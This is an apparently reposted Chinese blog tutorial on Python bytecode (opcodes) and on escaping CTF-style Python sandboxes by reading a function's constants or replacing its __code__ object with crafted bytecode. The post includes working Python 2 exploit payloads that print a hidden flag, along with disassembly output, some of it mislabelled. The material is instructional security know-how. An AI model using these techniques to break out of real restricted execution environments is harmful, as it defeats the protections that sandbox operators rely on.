使用OpCode绕过Python沙箱的方法详解


Posted in Python onSeptember 03, 2019

0x01 OpCode

opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。

如何查看一个函数的OpCode?

def a():
 if 1 == 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

通过此方法我们可以得到a函数的OpCode

Opcode of a(): 6401006402006b020072140064030047486e000064000053

我们可以通过dis库获得相应的解析结果。

import dis

dis.dis('6401006402006b020072140064030047486e000064000053'.decode('hex'))

得到反编译的结果

0 LOAD_CONST          1 (1)
      3 LOAD_CONST          2 (2)
      6 COMPARE_OP          2 (==)
      9 POP_JUMP_IF_FALSE    20
     12 LOAD_CONST          3 (3)
     15 LOAD_BUILD_CLASS
     16 YIELD_FROM    
     17 JUMP_FORWARD        0 (to 20)
>>   20 LOAD_CONST          0 (0)
     23 RETURN_VALUE

常见的字节码指令

为了进一步研究OpCode,我们可以对dis的disassemble_string函数进行patch

在124行加入

print hex(op).ljust(6),

可以查看具体的字节码。

0 LOAD_CONST           0x64       1 (1)
      3 LOAD_CONST           0x64       2 (2)
      6 COMPARE_OP           0x6b       2 (==)
      9 POP_JUMP_IF_FALSE    0x72      20
     12 LOAD_CONST           0x64       3 (3)
     15 LOAD_BUILD_CLASS     0x47 
     16 YIELD_FROM           0x48 
     17 JUMP_FORWARD         0x6e       0 (to 20)
>>   20 LOAD_CONST           0x64       0 (0)
     23 RETURN_VALUE         0x53

变量

指令名 操作
LOAD_GLOBAL 读取全局变量
STORE_GLOBAL 给全局变量赋值
LOAD_FAST 读取局部变量
STORE_FAST 给局部变量赋值
LOAD_CONST 读取常量

IF

指令名 操作
POP_JUMP_IF_FALSE 当条件为假的时候跳转
JUMP_FORWARD 直接跳转

CMP_OP

cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is','is not', 'exception match', 'BAD')

其余的指令参考OpCode源码

0x02 利用OpCode改变程序运行逻辑

在Python中,我们可以对任意函数的__code__参数进行赋值,通过对其进行赋值,我们可以改变程序运行逻辑。

Example1

def a():
 if 1 == 2:
  print("flag{****}")

在沙箱环境中我们需要调用这个函数,但是此函数我们无法执行到print语句。因此我们需要通过某种方法得到flag

Solution 1

我们直接获取a.__code__.co_consts,查看所有的常量。即可知道flag

(None, 1, 2, 'flag{****}')

Solution 2

更改程序运行逻辑

CodeType构造函数

def __init__(self, argcount, nlocals, stacksize, flags, code,
     consts, names, varnames, filename, name, 
     firstlineno, lnotab, freevars=None, cellvars=None):

上述函数其余参数均可通过__code.__.co_xxx获得

因此我们

def a():
 if 1 == 2:
  print("flag{****}")

for name in dir(a.__code__):
 print name,getattr(a.__code__,name)

输出

co_argcount 0
co_cellvars ()
co_code ddkrdGHndS
co_consts (None, 1, 2, 'flag{****}')
co_filename example1.py
co_firstlineno 1
co_flags 67
co_freevars ()
co_lnotab

co_name a
co_names ()
co_nlocals 0
co_stacksize 2
co_varnames ()

构造相应目标代码

def a():
 if 1 != 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

得到code

6401006402006b030072140064030047486e000064000053

构造payload

def a():
 if 1 == 2:
  print("flag{****}")

newcode = type(a.__code__)
code = "6401006402006b030072140064030047486e000064000053".decode('hex')
code = newcode(0,0,2,67,code,(None, 1, 2, 'flag{****}'),(),(),"xxx","a",1,"")
a.__code__ = code

a()

即可输出flag

Example 2

def target(flag):
 def printflag():
  if flag == "":
   print flag
 return printflag

flag = target("flag{*******}")

这一次因为是通过变量传入参数,我们无法通过上一次读co_consts获得变量。但是我们这次依旧可以通过重写code获得flag。

构造替代函数

def target(flag):
 def printflag():
  if flag != "":
   print flag
 return printflag
a = target("xxx")
import types
code = a.__code__.co_code.encode('hex')
print code

EXP

newcode = type(flag.__code__)
code = "8800006401006b030072140088000047486e000064000053".decode('hex')
code = newcode(0,0,2,19,code,(None, ''),(),(),"example2.py","printflag",2,"",('flag',),())
flag.__code__ = code
flag()

➜  python example2exp.py
8800006401006b030072140088000047486e000064000053
➜  python example2.py  
flag{*******}

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
wxPython事件驱动实例详解
Sep 28 Python
Python查询IP地址归属完整代码
Jun 21 Python
Python 加密的实例详解
Oct 09 Python
python生成器,可迭代对象,迭代器区别和联系
Feb 04 Python
numpy.delete删除一列或多列的方法
Apr 03 Python
python实现自动登录
Sep 17 Python
Django 1.10以上版本 url 配置注意事项详解
Aug 05 Python
python base64库给用户名或密码加密的流程
Jan 02 Python
浅析python标准库中的glob
Mar 13 Python
python中shell执行知识点
May 06 Python
详解python中GPU版本的opencv常用方法介绍
Jul 24 Python
Python在centos7.6上安装python3.9的详细教程(默认python版本为2.7.5)
Oct 15 Python
python实现单链表的方法示例
Sep 03 #Python
python中enumerate() 与zip()函数的使用比较实例分析
Sep 03 #Python
python网络编程之多线程同时接受和发送
Sep 03 #Python
springboot配置文件抽离 git管理统 配置中心详解
Sep 02 #Python
python生成随机红包的实例写法
Sep 02 #Python
Django发送邮件功能实例详解
Sep 02 #Python
python读取Excel表格文件的方法
Sep 02 #Python
You might like
MySQL 日期时间函数常用总结
2012/06/12 PHP
php获取网页上所有链接的方法
2015/04/03 PHP
Symfony的安装和配置方法
2016/03/17 PHP
PHP封装的完整分页类示例
2018/08/21 PHP
laravel5.0在linux下解决.htaccess无效和去除index.php的问题
2019/10/16 PHP
php命令行模式代码实例详解
2021/02/26 PHP
jquery实现的超出屏幕时把固定层变为定位层的代码
2010/02/23 Javascript
基于jquery实现点击左右按钮图片横向滚动
2013/04/11 Javascript
基于JavaScript实现根据手机定位获取当前具体位置(X省X市X县X街道X号)
2015/12/29 Javascript
AngularJS HTML DOM详解及示例代码
2016/08/17 Javascript
AngularJs验证重复密码的方法(两种)
2016/11/25 Javascript
详解vue.js全局组件和局部组件
2017/04/10 Javascript
js图片上传的封装代码
2017/08/01 Javascript
angularJs中跳转到指定的锚点实例($anchorScroll)
2018/08/31 Javascript
[02:41]辉夜杯现场一家三口 “我爸玩风行 我玩血魔”
2015/12/27 DOTA
[01:23]2019完美世界全国高校联赛(春季赛)合肥全国总决赛
2019/06/10 DOTA
使用实现XlsxWriter创建Excel文件并编辑
2018/05/04 Python
django请求返回不同的类型图片json,xml,html的实例
2018/05/22 Python
python实现字符串中字符分类及个数统计
2018/09/28 Python
Python实现的登录验证系统完整案例【基于搭建的MVC框架】
2019/04/12 Python
Django框架实现的分页demo示例
2019/05/25 Python
Python元组 tuple的概念与基本操作详解【定义、创建、访问、计数、推导式等】
2019/10/30 Python
Python 为什么推荐蛇形命名法原因浅析
2020/06/18 Python
美国电视购物HSN官网:HSN
2016/09/07 全球购物
YSL圣罗兰美妆美国官网:Yves Saint Lauret US
2016/11/21 全球购物
水果花束:Fruit Bouquets
2017/12/20 全球购物
The North Face北面法国官网:美国著名户外品牌
2019/11/01 全球购物
用你熟悉的语言写一个连接ORACLE数据库的程序,能够完成修改和查询工作
2012/06/11 面试题
如何利用cmp命令比较文件
2013/09/23 面试题
公务员个人自我评价分享
2013/11/06 职场文书
《自选商场》教学反思
2014/02/14 职场文书
2015年个人实习工作总结
2014/12/12 职场文书
学前班幼儿评语大全
2014/12/29 职场文书
某某店铺的开业庆典主持词范本
2019/11/25 职场文书
Python数据可视化之绘制柱状图和条形图
2021/05/25 Python
MySQL 中如何归档数据的实现方法
2022/03/16 SQL Server